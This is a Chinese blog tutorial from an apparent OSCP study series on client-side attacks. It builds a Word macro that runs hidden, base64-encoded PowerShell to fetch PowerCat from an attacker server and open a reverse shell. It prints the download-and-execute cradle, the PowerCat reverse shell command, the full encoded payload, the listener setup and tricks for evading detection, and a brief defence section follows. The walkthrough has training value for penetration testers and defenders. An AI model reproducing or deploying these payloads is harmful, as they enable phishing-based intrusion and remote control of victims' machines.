6-3〔O҉S҉C҉P҉ ◈ 研记〕❘ 客户端攻击▸通过宏文件实现反向shell

郑重声明: 本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。

💥👉点赞❤️ 关注🔔 收藏⭐️ 评论💬💥
更多文章戳👉
晖度丨安全视界-CSDN博客**🚀(原名:whoami!)**​​​​​

​​​​


𖤐 客户端攻击通常是欺骗用户在操作系统上执行恶意代码,小心啊 !

𖤐 𝓒𝓵𝓲𝓮𝓷𝓽-𝓼𝓲𝓭𝓮 𝓪𝓽𝓽𝓪𝓬𝓴𝓼 𝓾𝓼𝓾𝓪𝓵𝓵𝔂 𝓽𝓻𝓲𝓬𝓴 𝓾𝓼𝓮𝓻𝓼 𝓲𝓷𝓽𝓸 𝓮𝓍𝓮𝓬𝓾𝓽𝓲𝓷𝓰 𝓶𝓪𝓵𝓲𝓬𝓲𝓸𝓾𝓼 𝓬𝓸𝓭𝓮 𝓸𝓷 𝓽𝓱𝓮 𝓸𝓹𝓮𝓻𝓪𝓽𝓲𝓷𝓰 𝓼𝔂𝓼𝓽𝓮𝓶, 𝓼𝓸 𝓫𝓮 𝓬𝓪𝓻𝓮𝓯𝓾𝓵 !


→ 信息收集

→ 漏洞检测

→ 初始立足点

权限提升 ▸客户端攻击▸通过宏文件实现反向shell-----我们在这儿~ 🔥🔥🔥

→ 横向移动

→ 报告/分析

→ 教训/修复

目录

[1 客户端攻击:突破企业边界的社交工程](#1 客户端攻击:突破企业边界的社交工程)

[1.1 通过宏文件实现反向shell](#1.1 通过宏文件实现反向shell)

[1.1.1 PowerCat简介](#1.1.1 PowerCat简介)

[1.1.1.1 什么是PowerCat](#1.1.1.1 什么是PowerCat)

[1.1.1.2 常见的PowerCat命令](#1.1.1.2 常见的PowerCat命令)

[1. 创建网络连接](#1. 创建网络连接)

[2. 监听端口](#2. 监听端口)

[3. 数据传输](#3. 数据传输)

[4. 反向Shell](#4. 反向Shell)

[1.1.2 攻击思路](#1.1.2 攻击思路)

[1.1.2.1 流程示意图](#1.1.2.1 流程示意图)

[1.1.2.2 思路说明](#1.1.2.2 思路说明)

1.攻击思路

2.具体说明

[1.1.3 详细步骤](#1.1.3 详细步骤)

[1.1.3.1 攻击者准备阶段](#1.1.3.1 攻击者准备阶段)

1.搭建Web服务器

2.开启Netcat监听

[1.1.3.2 定义字符串变量Str](#1.1.3.2 定义字符串变量Str)

[1.1.3.3 构造恶意PowerShell命令](#1.1.3.3 构造恶意PowerShell命令)

1.下载PowerCat

2.使用powercat工具建立反向Shell

[1.1.3.4 Base64编码绕过检测](#1.1.3.4 Base64编码绕过检测)

[1.1.3.5 解决VBA字符串限制问题](#1.1.3.5 解决VBA字符串限制问题)

[1.1.3.6 更新完整的宏VBA代码](#1.1.3.6 更新完整的宏VBA代码)

[1.1.3.7 投放带有恶意代码的Word宏文档](#1.1.3.7 投放带有恶意代码的Word宏文档)

[1.1.3.8 实现反向Shell](#1.1.3.8 实现反向Shell)

[1.2 防御措施](#1.2 防御措施)

[💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬](#💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬)


1 客户端攻击**:突破企业边界的社交工程**

1.1 通过宏文件实现反向shell

1.1.1PowerCat简介

1.1.1.1 什么是PowerCat

PowerCat = PowerShell + Netcat,是用 PowerShell 写的 Netcat 风格工具。

PowerCat 主要是在 Windows(通过 PowerShell) 下使用的。不过在安装了跨平台的 PowerShell Core(pwsh) 的系统上(例如某些 Linux / macOS 环境)也可以运行,因此不是严格仅限 Windows,但常见用途和传播环境以 Windows/PowerShell 为主。

用途:端口监听、端口转发、简单文件传输、反向/绑定连接等(可被系统管理员用于排错与运维,也常被滥用于入侵/横向移动)。

为什么选择PowerCat?

  • ✅ 纯PowerScript实现,无需额外工具

  • ✅ 绕过传统安全检测

  • ✅ 功能强大,支持多种网络操作

  • ✅ 易于集成到宏攻击中


1.1.1.2 常见的PowerCat命令
1. 创建网络连接

想象场景: 你的电脑想给另一台电脑"打电话"。

bash 复制代码
PowerCat -c 192.168.1.1 -p 1234
组成部分 实际作用
-c 192.168.1.1 指定要连接的目标电脑IP地址
-p 1234 指定要连接的网络端口
PowerCat 启动网络连接工具

实际应用:

  • 连接到网络服务器

  • 测试网络是否通畅

  • 与远程设备通信

2. 监听端口

想象场景: 开一家店铺,打开大门等待顾客上门

bash 复制代码
PowerCat -L -p 1234
组成部分 实际作用
-L 开启监听模式,等待连接
-p 1234 监听特定的网络端口
PowerCat 启动网络监听服务

实际应用:

  • 搭建临时文件服务器

  • 接收其他电脑发来的数据

  • 等待远程连接请求

3. 数据传输

想象场景: 把本地文件打包,通过快递发送给朋友

A. 发送文件(寄出包裹)

bash 复制代码
PowerCat -c 192.168.1.1 -p 1234 < C:\file.txt
组成部分 实际作用
< C:\file.txt 指定要发送的本地文件(在C:\file.txt)
-c 192.168.1.1 -p 1234 指定接收文件的电脑地址和端口

B. 接收文件(收取包裹)

想象场景: 在家等待快递员送货,收到后保存到接受方本地的指定位置C:\received_file.txt

bash 复制代码
PowerCat -L -p 1234 > C:\received_file.txt
组成部分 实际作用
> C:\received_file.txt 接收方指定接收文件的保存路径
-L -p 1234 开启监听,等待文件发送过来

实际应用:

  • 在两台电脑间传输文件

  • 备份数据到远程位置

  • 共享文档或配置

🎯这里有个很重要的问题展开说说: 从发送方角度看,其C:\file.txt的文件内容最终发到何处,取决于++接收方运行的程序++。

bash 复制代码
PowerCat -c 192.168.1.1 -p 1234 < C:\file.txt 

详细说明:

  • 发送端(运行该命令的主机)

    • C:\file.txt 是发送端的本地文件。
    • 重定向 < 把文件内容喂给 PowerCat 的标准输入,PowerCat 把这些字节写入到与 192.168.1.1:1234 的 TCP 连接。
  • 网络传输

    • 数据作为原始字节流通过 TCP 发送,经过网络、路由、可能的防火墙/IDS,抵达目标 IP 和端口。
  • 接收端(目标主机)接收到这些字节后会怎样,取决于目标上运行的程序:

    • 如果目标在 192.168.1.11234 端口上有一个监听器/接收程序(例如:类似 Netcat/PowerCat的监听进程或自定义服务),该程序会从网络套接字读取字节流。
    • 接收程序可以:
      • 直接在内存中处理这些数据(例如作为输入喂给另一个进程),
      • 将字节写入到目标主机的一个文件(例如写成 received.txt),本例。
      • 作为命令或数据进一步处理(取决监听程序功能)。
    • 重要 :网络传输本身不包含原始文件名或文件系统路径。文件内容会到达接收端,但接收端是否保留原名 C:\file.txt、把它保存到哪个位置、用什么名字保存,完全由接收端的程序决定。

取证/检测要点(防守视角):

  • 查找可疑的出站连接到不常见 IP/端口,尤其是伴随 PowerShell/PowerCat 类进程启动的连接。
  • 在目标主机上查找近期创建或修改的文件、或监听进程(特别是在非标准端口)。
  • 审计 PowerShell 命令行、Sysmon(进程创建、网络连接)和防火墙日志以还原"谁向谁发送了什么"。
  • 注意:即使目标没有保存文件,数据仍可能被接收端在内存中处理或传递到第三处 --- 仅基于网络流量和日志判断很重要。
4. 反向Shell

想象场景: 特工行动 - 让目标人物主动联系总部并交出控制权

bash 复制代码
PowerCat -c 192.168.1.2 -p 1234 -e powershell.exe
组成部分 实际作用
-c 192.168.1.2 -p 1234 攻击者连接的目标IP和端口,即,PowerCat 会连接到 192.168.1.2 上的 1234 端口
-e powershell.exe 在目标电脑上执行指定程序
整个命令 当 PowerCat 成功连接到 192.168.1.2 上的 1234 端口时,它会启动一个 PowerShell 会话,并将该会话连接到远程目标。

🔄 正向Shell vs 反向Shell:

正向Shell(传统方式):

复制代码
攻击者 → 连接 → 受害者
(像主动敲门进入别人家)

反向Shell(聪明方式):

复制代码
受害者 → 连接 → 攻击者
(像让目标主动来找你,更容易绕过安保)

为什么反向Shell更危险?

  • 绕过防火墙:很多防火墙允许内部向外连接,但阻止外部向内连接

  • 隐蔽性高:看起来像是正常的外出连接

  • 可靠性强:不受网络环境限制


1.1.2 攻击思路

1.1.2.1 流程示意图

1.1.2.2 思路说明
1.攻击思路

通过VBA宏(通常嵌入到Excel文档、Word等文档中)执行 PowerShell 命令,任务是:

①让目标去下载 PowerCat脚本;②然后通过 PowerCat建立反向Shell

另外:由于 VBA 对字符串长度有限制,需要通过一些技巧来处理较长的 Base64 编码的 PowerShell 命令。

2.具体说明
  • PowerShell 下载工具(Base64 编码):

    • 由于 PowerShell 命令通常较长,因此采用 Base64 编码 来避开字符长度限制。
    • 将 PowerShell 下载命令编码为 Base64 格式后,避免直接将其嵌入为单一字符串。
    • 反向 Shell 的目标是让攻击者控制目标系统的命令行接口。
  • VBA 字符串长度限制:

    • VBA 字符串限制: 默认情况下,VBA 对单个字符串的长度限制为 255 个字符,因此不能将完整的 Base64 编码 PowerShell 命令直接作为字符串传递。
    • 解决方案: 通过 拆分 长字符串并存储在多个变量中,之后将其 连接 回完整的 Base64 编码 PowerShell 命令。
  • VBA 代码实现:

    • 分割字符串: 将 Base64 编码的 PowerShell 命令拆分为多行字符串,每行不超过 255 个字符。
    • 拼接字符串: 使用 & 操作符连接所有的拆分字符串,构造完整的 PowerShell 命令。
    • 执行 PowerShell 命令: 在拼接后,执行该 Base64 编码命令并将其解码执行,下载 PowerCat 并执行反向 shell。
  • 反向 Shell 操作:

    • PowerCat:用于在目标主机上建立反向连接,连接到攻击者指定的 IP 和端口。
    • 攻击者监听: 攻击者在指定端口监听连接,反向 shell 一旦成功建立,攻击者就可以控制目标系统。
  • 简化步骤:

    • 编写 Base64 编码的 PowerShell 命令(用来下载 PowerCat 工具并启动反向 shell)。
    • 在 VBA 中声明多个字符串(每个字符串不超过 255 字符)。
    • 使用 & 连接这些字符串,生成完整的 PowerShell 命令。
    • 使用 ShellCreateObject("WScript.Shell") 来执行拼接后的 PowerShell 命令。
  • 编码与解码:

    • 在执行之前,Base64 编码的 PowerShell 命令需要解码为原始 PowerShell 脚本。
    • 解码后的 PowerShell 脚本将负责从远程下载 PowerCat 工具并执行反向 shell。

1.1.3 详细步骤

**回顾:**在前一篇文章中,我们的宏代码如下图。

目标用户双击该文档,实现自动执行宏命令,并自动打开目标主机的powershell。效果如下图:

现在,从这继续。返回到宏编辑器继续编写宏代码,主要是构造PowerShell命令并被执行。


1.1.3.1 攻击者准备阶段

| 步骤 | 命令 | 说明 |
| 终端1. 启动Web服务器 | python3 -m http.server 80 | 📡 托管powercat.ps1脚本 |

终端2. 开启Netcat监听 nc -lvnp 4444 👂 等待反向Shell连接
1.搭建Web服务器

攻击者将powercat.ps1文件放置到当前工作目录(或指定目录),然后在本地终端1窗口执行以下命令启动简易 HTTP 服务器(默认监听 80 端口)。

本地指:攻击者主机192.168.119.2

bash 复制代码
$ python3 -m http.server 80
2.开启Netcat监听

攻击者在本地终端2窗口执行以下命令,打开本地4444端口监听,等待回连的反向shell。

bash 复制代码
$ nc -lvnp 4444

1.1.3.2 定义字符串变量Str

接下来,使用Dim关键字声明一个名为Str的字符串变量。

****这个变量Str用于存储后续的PowerShell命令(下载工具和创建使用PowerCat的反向shell)。****宏代码做出如下更新:


1.1.3.3 构造恶意PowerShell命令
1.下载PowerCat

目标主机到攻击主机处下载PowerCat.ps1脚本工具。

bash 复制代码
IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.119.2/powercat.ps1')
2.使用powercat工具建立反向Shell

马上使用PowerCat.ps1脚本,在目标主机上建立反向shell。

**-e powershell :**表示通过这个连接执行 powershell.exe,这会在目标主机上自动启动PowerShell会话,并将其连接回到攻击者的机器(的4444端口)。

bash 复制代码
powercat -c 192.168.119.2 -p 4444 -e powershell

上述1、2命令拼在一起如下:用++++号连接。

命令说明:

组件 类型 功能描述 详细说明
IEX PowerShell cmdlet 🎯 命令执行引擎 Invoke-Expression的简写,将字符串作为PowerShell代码执行
New-Object System.Net.WebClient .NET对象创建 🌐 网络下载工具 创建一个WebClient对象,用于从HTTP/HTTPS地址下载内容
.DownloadString('http://192.168.119.2/powercat.ps1') 方法调用 📥 脚本内容下载 从攻击者服务器下载powercat.ps1脚本的文本内容
powercat -c 192.168.119.2 -p 4444 -e powershell PowerCat命令 🔄 反向连接建立 使用下载的PowerCat建立反向Shell连接

数据流行示意图:

受害者电脑

↓ 执行恶意宏

PowerShell进程

↓ IEX(下载命令)

攻击者服务器:192.168.119.2\] ← HTTP下载powercat.ps1 ↓ 下载完成 \[内存加载PowerCat

↓ powercat -c 192.168.119.2 -p 4444

攻击者监听端口4444\] ← 建立TCP连接 ↓ -e powershell \[交互式Shell会话\] ↔ 双向命令执行


1.1.3.4 Base64编码绕过检测

编码前:

经过base64编码后:

复制代码
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEAMQA5AC4AMgAvAHAAbwB3AGUAcgBjAGEAdAAuAHAAcwAxACcAKQA7AHAAbwB3AGUAcgBjAGEAdAAgAC0AYwAgADEAOQAyAC4AMQA2ADgALgAxADEAOQAuADIAIAAtAHAAIAA0ADQANAA0ACAALQBlACAAcABvAHcAZQByAHMAaABlAGwAbAA=

综上,完整的变量Str包含的命令为:

bash 复制代码
Str = "powershell.exe -nop -w hidden -e SQBFAFgAKABOAGUAdwA..."
参数 完整形式 功能描述 使用场景
powershell.exe - 🎯 PowerShell启动器 执行PowerShell命令和脚本
-nop -NoProfile 🚀 跳过配置文件加载 加快启动速度,避免配置文件中的安全检测
-w hidden -WindowStyle Hidden 🕶️ 隐藏执行窗口 恶意脚本执行时不被用户发现
-e -EncodedCommand 🔐 Base64编码命令 绕过命令行监控,隐藏真实意图

这里注意:标准用法 vs 隐蔽用法对比

场景 命令示例 可见性 用户感知
正常管理 powershell.exe Get-Process 👀 窗口可见 用户能看到执行过程
隐蔽执行 powershell.exe -nop -w hidden -e UwB0AGEAcgB0ACAAcAByAG8AYwBlAHMAcwA= 🚫 完全隐藏 用户无任何感知

但是,-e后面的字符串过长(>255字符), 因此我们将命令拆分为多行(存储在字符串中)并进行连接。


1.1.3.5 解决VBA字符串限制问题

问题: VBA字面字符串限制255字符
解决方案: 使用以下Python分割脚本 将base64编码的字符串分割成长度为50个字符的小块 ,并将它们连接到Str变量中。

Python分割脚本:

复制代码

查看实际运行效果:


1.1.3.6 更新完整的宏VBA代码

把以下内容更新至宏编辑器后,保存并退出文档。


1.1.3.7 投放带有恶意代码的Word宏文档

此处是投放带有恶意代码的Word宏文档。采用社会工程学的方法让目标点击该文档(并让目标启动宏运行)。如何进行社会工程诱骗这里就不具体展开。


1.1.3.8 实现反向Shell

目标被成功社会工程后,双击Word文档后,宏代码会自动执行。请注意,关于"启用内容 "按钮的宏安全警告不会再次出现,因为刚刚已经启动过了。只有在文档名称更改时才会再次出现。执行宏代码后,观察
攻击主机的终端1: Python3 Web服务器收到PowerCat脚本的GET请求

攻击主机的终端2:在Netcat监听器中接收到反向Shell。

如上图,我们获得PowerShell提示符,可执行命令来查询目标主机的一些信息,例如:

bash 复制代码
PS C:\Users\Victim> whoami
domain\username
PS C:\Users\Victim> ipconfig
...

1.2 防御措施

1.组织防护建议

防护层面 具体措施 效果
技术防护 禁用宏执行 🚫 阻断攻击载体
技术防护 应用白名单 ✅ 只允许可信程序
技术防护 网络监控 🔍 检测异常连接
管理防护 安全意识培训 🧠 提高员工警惕性
管理防护 邮件过滤 📧 拦截恶意附件

2.个人防护建议

  • ⚠️ 不要轻易启用宏:特别是来自不信任来源的文档

  • 🔄 保持软件更新:及时安装安全补丁

  • 🔍 使用安全软件:启用实时防护功能

  • 📚 提高安全意识:了解常见攻击手法

随着用户安全意识的提高和安全技术的增强,传统的宏攻击效果正在减弱。攻击者正在转向更加隐蔽和复杂的客户端攻击方式。


💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬

您的支持是我创作最大的动力!

相关推荐
m0_7381207215 小时前
网络安全编程——开发一个TCP代理Python实现
python·tcp/ip·安全·web安全·网络安全
Bruce_Liuxiaowei18 小时前
Mac与Kali主机间SSH连接故障排除:主机密钥变更的解决方案
运维·macos·网络安全·ssh
一生要强的ymy21 小时前
Polarctf 写shell
安全·web安全·网络安全·系统安全·安全威胁分析
网络安全-海哥1 天前
Web安全深度实战:从漏洞挖掘到安全防护
网络·web安全·网络安全·网络攻击·转行
椰羊sqrt1 天前
MetaTwo靶机实战:SQL注入到权限提升全解析
python·学习·网络安全
Whoami!1 天前
⸢ 拾-Ⅱ⸥⤳ 威胁感知与响应建设方案:威胁运营&威胁响应
网络安全·信息安全·soar·威胁响应
儒道易行2 天前
【攻防实战】Redis未授权RCE联动metasploit打穿三层内网(下)
网络安全
XH-hui2 天前
【打靶日记】VulNyx 之 Lower6
linux·网络安全·vulnyx
NOVAnet20232 天前
应对AI全球化部署挑战:南凌科技云连接服务实现算法模型全球稳定传输
网络·人工智能·科技·网络安全